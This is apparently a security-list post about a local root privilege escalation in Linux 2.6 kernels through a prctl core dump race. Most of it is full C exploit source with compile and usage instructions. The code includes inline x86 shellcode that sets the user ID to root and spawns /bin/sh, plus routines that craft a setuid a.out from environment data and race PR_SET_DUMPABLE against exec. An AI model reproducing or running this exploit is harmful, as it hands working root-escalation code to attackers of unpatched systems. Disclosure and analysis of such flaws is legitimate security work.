[EXPL] Linux Kernel 2.6.x PRCTL Core Dump Handling (Exploit 2)

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Linux Kernel 2.6.x PRCTL Core Dump Handling (Exploit 2)
------------------------------------------------------------------------


SUMMARY

Improper handling of Core Dump allows attackers to gain local root
privileges in Linux, enabling them to execute arbitrary programs as root.

DETAILS

/*
** Author: h00ly***
** Vulnerable: Linux 2.6 ALL
** Type of Vulnerability: Local Race
** Tested On : various distros
** Vendor Status: unknown
**
** Disclaimer:
** In no event shall the author be liable for any damages
** whatsoever arising out of or in connection with the use
** or spread of this information.
** Any use of this information is at the user's own risk.
**
** Compile:
** gcc h00ly***.c -o h00ly***
**
** Usage:
** h00ly*** <very big file on the disk>
**
** Example:
** h00ly*** /usr/X11R6/lib/libethereal.so.0.0.1
**
** if y0u dont have one, make big file (~100MB) in /tmp with dd
** and try to junk the cache e.g. cat /usr/lib/* >/dev/null
**
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <linux/a.out.h>
#include <asm/unistd.h>


static struct exec ex;
static char *e[256];
static char *a[4];
static char b[512];
static char t[256];
static volatile int *c;


/* h00ly*** shell code */
__asm__ (" __excode: call 1f \n"
" 1: mov $23, %eax \n"
" xor %ebx, %ebx \n"
" int $0x80 \n"
" pop %eax \n"
" mov $cmd-1b, %ebx \n"
" add %eax, %ebx \n"
" mov $arg-1b, %ecx \n"
" add %eax, %ecx \n"
" mov %ebx, (%ecx) \n"
" mov %ecx, %edx \n"
" add $4, %edx \n"
" mov $11, %eax \n"
" int $0x80 \n"
" mov $1, %eax \n"
" int $0x80 \n"
" arg: .quad 0x00, 0x00 \n"
" cmd: .string \"/bin/sh\" \n"
" __excode_e: nop \n"
" .global __excode \n"
" .global __excode_e \n"
);

extern void (*__excode) (void);
extern void (*__excode_e) (void);

void
error (char *err)
{
perror (err);
fflush (stderr);
exit (1);
}

/* exploit this *** */
void
exploit (char *file)
{
int i, fd;
void *p;
struct stat st;

printf ("\ntrying to exploit %s\n\n", file);
fflush (stdout);
chmod ("/proc/self/environ", 04755);
c = mmap (0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED |
MAP_ANONYMOUS, 0, 0);
memset ((void *) c, 0, 4096);

/* slow down machine */
fd = open (file, O_RDONLY);
fstat (fd, &st);
p =
(void *) mmap (0, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE,
fd, 0);
if (p == MAP_FAILED)
error ("mmap");
prctl (PR_SET_DUMPABLE, 0, 0, 0, 0);
sprintf (t, "/proc/%d/environ", getpid ());
sched_yield ();
execve (NULL, a, e);
madvise (0, 0, MADV_WILLNEED);
i = fork ();

/* give it a try */
if (i)
{
(*c)++;
!madvise (p, st.st_size, MADV_WILLNEED) ? : error ("madvise");
prctl (PR_SET_DUMPABLE, 1, 0, 0, 0);
sched_yield ();
}
else
{
nice(10);
while (!(*c));
sched_yield ();
execve (t, a, e);
error ("failed");
}

waitpid (i, NULL, 0);
exit (0);
}

int
main (int ac, char **av)
{
int i, j, k, s;
char *p;

memset (e, 0, sizeof (e));
memset (a, 0, sizeof (a));
a[0] = strdup (av[0]);
a[1] = strdup (av[0]);
a[2] = strdup (av[1]);

if (ac < 2)
error ("usage: binary <big file name>");
if (ac > 2)
exploit (av[2]);
printf ("\npreparing");
fflush (stdout);

/* make setuid a.out */
memset (&ex, 0, sizeof (ex));
N_SET_MAGIC (ex, NMAGIC);
N_SET_MACHTYPE (ex, M_386);
s = ((unsigned) &__excode_e) - (unsigned) &__excode;
ex.a_text = s;
ex.a_syms = -(s + sizeof (ex));

memset (b, 0, sizeof (b));
memcpy (b, &ex, sizeof (ex));
memcpy (b + sizeof (ex), &__excode, s);

/* make environment */
p = b;
s += sizeof (ex);
j = 0;
for (i = k = 0; i < s; i++)
{
if (!p[i])
{
e[j++] = &p[k];
k = i + 1;
}
}

/* reexec */
getcwd (t, sizeof (t));
strcat (t, "/");
strcat (t, av[0]);
execve (t, a, e);
error ("execve");
return 0;
}
/*EoF */


ADDITIONAL INFORMATION

The information has been provided by <mailto:h00ly***@xxxxxxxx> Joanna
R..



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